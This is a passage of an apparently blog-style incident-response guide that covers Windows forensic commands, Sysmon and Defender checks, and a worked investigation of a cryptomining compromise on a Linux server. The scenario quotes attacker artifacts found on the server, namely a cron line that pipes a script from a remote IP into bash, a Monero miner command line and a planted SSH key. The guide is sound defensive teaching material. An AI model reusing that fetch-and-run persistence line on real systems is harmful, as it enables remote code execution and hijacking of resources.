class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Select&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;First&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Recently modified files in temp and user directories&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;Get&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;ChildItem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="nn"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;TEMP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="nn"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;TMP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"C:\Users\*\AppData\Local\Temp"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Recurse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;ErrorAction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SilentlyContinue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nx"&gt;Where&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;LastWriteTime&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-gt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Get-Date&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;AddDays&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;-3&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;FullName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;LastWriteTime&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Sort-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;LastWriteTime&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Descending&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# ── Preserve Evidence ─────────────────────────────────────────────&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Export Security event log for offline analysis&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;wevtutil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;epl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Security&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\forensics\security.evtx&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;wevtutil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;epl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;System&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\forensics\system.evtx&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;wevtutil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;epl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Application&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\forensics\application.evtx&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Create a hash of collected evidence&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-FileHash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\forensics\&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Export-Csv&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\forensics\evidence_hashes.csv&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.2 Sysmon Configuration
&lt;/h3&gt;

&lt;p&gt;Sysmon (System Monitor) dramatically enhances Windows event logging. Deploy it on all Windows servers.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Download and install Sysmon&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Download from: https://docs.microsoft.com/sysinternals/downloads/sysmon&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;\Sysmon64.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-accepteula&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sysmonconfig.xml&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Recommended config: SwiftOnSecurity's sysmon-config&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# https://github.com/SwiftOnSecurity/sysmon-config&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Invoke-WebRequest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Uri&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;\&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nt"&gt;-OutFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sysmonconfig.xml&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;\Sysmon64.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sysmonconfig.xml&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c"&gt;# Apply config&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Key Sysmon Event IDs to monitor:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Event 1:  Process Creation (captures full command line + parent)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Event 3:  Network Connection (process-level network visibility)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Event 7:  Image Loaded (DLL injection detection)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Event 8:  CreateRemoteThread (process injection)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Event 10: ProcessAccess (LSASS dumping detection — Event 10 + target=lsass.exe)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Event 11: FileCreate (malware dropping files)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Event 13: RegistryValue Set (persistence via registry)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Event 22: DNS Query (C2 domain tracking)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Event 25: ProcessTampering (hollowing/herpaderping)&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Query Sysmon logs via PowerShell&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WinEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-LogName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Microsoft-Windows-Sysmon/Operational"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-eq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c"&gt;# Process creation&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;TimeCreated&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'CommandLine'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Properties&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Value&lt;/span&gt;&lt;span class="p"&gt;}},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'ParentProcess'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Properties&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Value&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;Format-List&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-First&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;20&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.3 Windows Defender Logs
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# View Windows Defender threat history&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-MpThreatDetection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ThreatName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ActionSuccess&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;DetectionTime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;Resources&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ProcessName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Format-List&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# View all quarantined items&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-MpThreat&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ThreatName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SeverityID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;IsActive&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Format-Table&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Check Defender health (attackers disable it)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-MpComputerStatus&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;AMServiceEnabled&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;AntispywareEnabled&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;AntivirusEnabled&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;RealTimeProtectionEnabled&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;OnAccessProtectionEnabled&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Re-enable Defender if disabled by attacker&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Set-MpPreference&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-DisableRealtimeMonitoring&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$false&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Start-Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;WinDefend&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  13. Real-World Example: Detecting a Compromised Linux Server
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Scenario
&lt;/h3&gt;

&lt;p&gt;A startup's Node.js API server on AWS EC2 (Ubuntu 22.04) starts showing unusual behaviour. The on-call engineer notices the server's CPU is at 95% with no corresponding increase in API traffic. The following investigation unfolds.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;T+0:00 — Initial Alert&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Datadog fires a CPU alert. The engineer SSHes in:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;top
&lt;span class="c"&gt;# "kworkerds" consuming 92% CPU&lt;/span&gt;
&lt;span class="c"&gt;# This is NOT a real kernel worker — it is disguised cryptomining malware&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;T+0:05 — Process Investigation&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;ps aux | &lt;span class="nb"&gt;grep &lt;/span&gt;kworkerds
nobody  14782  92.1  0.2  /tmp/.cache/kworkerds &lt;span class="nt"&gt;-o&lt;/span&gt; pool.monero.hashvault.pro:443 &lt;span class="nt"&gt;-u&lt;/span&gt; &amp;lt;wallet&amp;gt;
&lt;span class="c"&gt;# Running from /tmp, connecting to a Monero mining pool&lt;/span&gt;

&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /tmp/.cache/
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 nobody nogroup 2.9M Jan 15 03:11 kworkerds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;ATT&amp;amp;CK:&lt;/strong&gt; T1496 (Resource Hijacking), T1059.004 (Unix Shell)&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;T+0:08 — Network Investigation&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;14782
ESTAB  10.0.1.45:52441  195.201.x.x:443  &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"kworkerds"&lt;/span&gt;,pid&lt;span class="o"&gt;=&lt;/span&gt;14782&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="c"&gt;# Confirmed: outbound connection to a known Monero mining pool&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;ATT&amp;amp;CK:&lt;/strong&gt; T1071.001 (Application Layer Protocol: Web)&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;T+0:10 — Finding the Entry Point&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Jan 15 03:"&lt;/span&gt; /var/log/auth.log | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Failed&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;Accepted"&lt;/span&gt;
&lt;span class="c"&gt;# 847 failed password attempts for root from 91.108.x.x&lt;/span&gt;
Jan 15 03:11:47 sshd: Accepted password &lt;span class="k"&gt;for &lt;/span&gt;nobody from 91.108.x.x port 52109
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; The &lt;code&gt;nobody&lt;/code&gt; user had a weak password and SSH password authentication was enabled. The attacker brute-forced it in under 4 minutes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ATT&amp;amp;CK:&lt;/strong&gt; T1110.001 (Brute Force: Password Guessing), T1078 (Valid Accounts)&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;T+0:15 — Finding Persistence&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;crontab &lt;span class="nt"&gt;-l&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; nobody
&lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://91.108.x.x/update.sh | bash

&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/nobody/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1... attacker@kali  &lt;span class="c"&gt;# Planted for persistent re-entry&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;ATT&amp;amp;CK:&lt;/strong&gt; T1053.003 (Cron Job), T1098.004 (SSH Authorized Keys)&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;T+0:20 — Isolation and Response&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;AWS security group updated — deny all except investigation IP&lt;/li&gt;
&lt;li&gt;EBS snapshot taken for forensic preservation&lt;/li&gt;
&lt;li&gt;Process killed: &lt;code&gt;kill -9 14782&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Malicious cron removed and SSH key deleted&lt;/li&gt;
&lt;li&gt;Binary removed: &lt;code&gt;rm -rf /tmp/.cache/&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;nobody&lt;/code&gt; account password rotated, SSH password auth disabled globally&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;fail2ban&lt;/code&gt; and &lt;code&gt;auditd&lt;/code&gt; installed fleet-wide&lt;/li&gt;
&lt;li&gt;AWS GuardDuty enabled (would have flagged the cryptomining connection within minutes had it been active)&lt;/li&gt;
&lt;/ol&gt;




&lt;p&gt;&lt;strong&gt;Post-Incident Compliance Actions:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Breach assessment conducted — no PII or payment data on this server&lt;/li&gt;
&lt;li&gt;Legal confirmed: NDPA notification not required (no personal data in scope)&lt;/li&gt;
&lt;li&gt;Incident documented in breach register per best practice&lt;/li&gt;
&lt;li&gt;Post-mortem scheduled with full timeline reconstruction&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Lessons Applied:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Before&lt;/th&gt;
&lt;th&gt;After&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SSH password auth enabled&lt;/td&gt;
&lt;td&gt;Password auth disabled fleet-wide&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No brute-force protection&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;fail2ban&lt;/code&gt; deployed on all servers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;nobody&lt;/code&gt; user had login shell&lt;/td&gt;
&lt;td&gt;&lt;code&gt;usermod -s /sbin/nologin nobody&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No anomaly detection&lt;/td&gt;
&lt;td&gt;AWS GuardDuty enabled, CPU alert baseline tightened&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No audit logging&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;auditd&lt;/code&gt; with watch rules deployed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  14. Conclusion — The DICRP Framework
&lt;/h2&gt;

&lt;p&gt;Every server incident, regardless of severity, fits into a five-phase lifecycle. Having a mental model for this prevents you from jumping straight to remediation before you have fully understood the scope.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌────────────────────────────────────────────────────────────────────────────┐
│                          THE DICRP FRAMEWORK                               │
│                                                                            │
│  ┌─────────┐  ┌───────────┐  ┌─────────┐  ┌─────────┐  ┌──────────┐      │
│  │ DETECT  │─►│INVESTIGATE│─►│ CONTAIN │─►│ RECOVER │─►│ PREVENT  │      │
│  └─────────┘  └───────────┘  └─────────┘  └─────────┘  └──────────┘      │
│                                                                            │
│  Detect         Investigate    Contain        Recover       Prevent        │
│  ──────         ───────────    ───────        ───────       ───────        │
│  Monitoring     Preserve       Isolate        Restore       MFA            │
│  SIEM alerts    evidence       server         from backup   Least priv     │
│  Log review     ID access      Kill sessions  Patch vuln    FIM            │
│  Zeek/Suricata  vector         Rotate creds   Verify        IDS/SIEM       │
│  Anomalies      Timeline       Scope blast    integrity     auditd         │
│  GuardDuty      Persistence    radius         Resume ops    3-2-1 backup   │
│                 MITRE mapping  Legal notify               Patch mgmt       │
└────────────────────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A server compromise is not just a technical event — it is a &lt;strong&gt;business event with legal, reputational, and financial consequences&lt;/strong&gt;. The teams that handle it best are not the ones who never get attacked; they are the ones who have already thought through their response before the incident happens.&lt;/p&gt;

&lt;p&gt;Build your detection. Practice your playbook. Know your logs. Map your threats to ATT&amp;amp;CK. Know your compliance obligations before you need them.&lt;/p&gt;

&lt;p&gt;The attacker only needs to get lucky once — you need to be ready every time.&lt;/p&gt;




&lt;h2&gt;
  
  
  15. Quick Reference &amp;amp; LinkedIn Carousel
&lt;/h2&gt;

&lt;h3&gt;
  
  
  First 10 Minutes Checklist
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;FIRST 10 MINUTES — SERVER COMPROMISE RESPONSE
────────────────────────────────────────────────────────────────────
☐ Take a cloud disk snapshot BEFORE doing anything &lt;span class="k"&gt;else&lt;/span&gt;
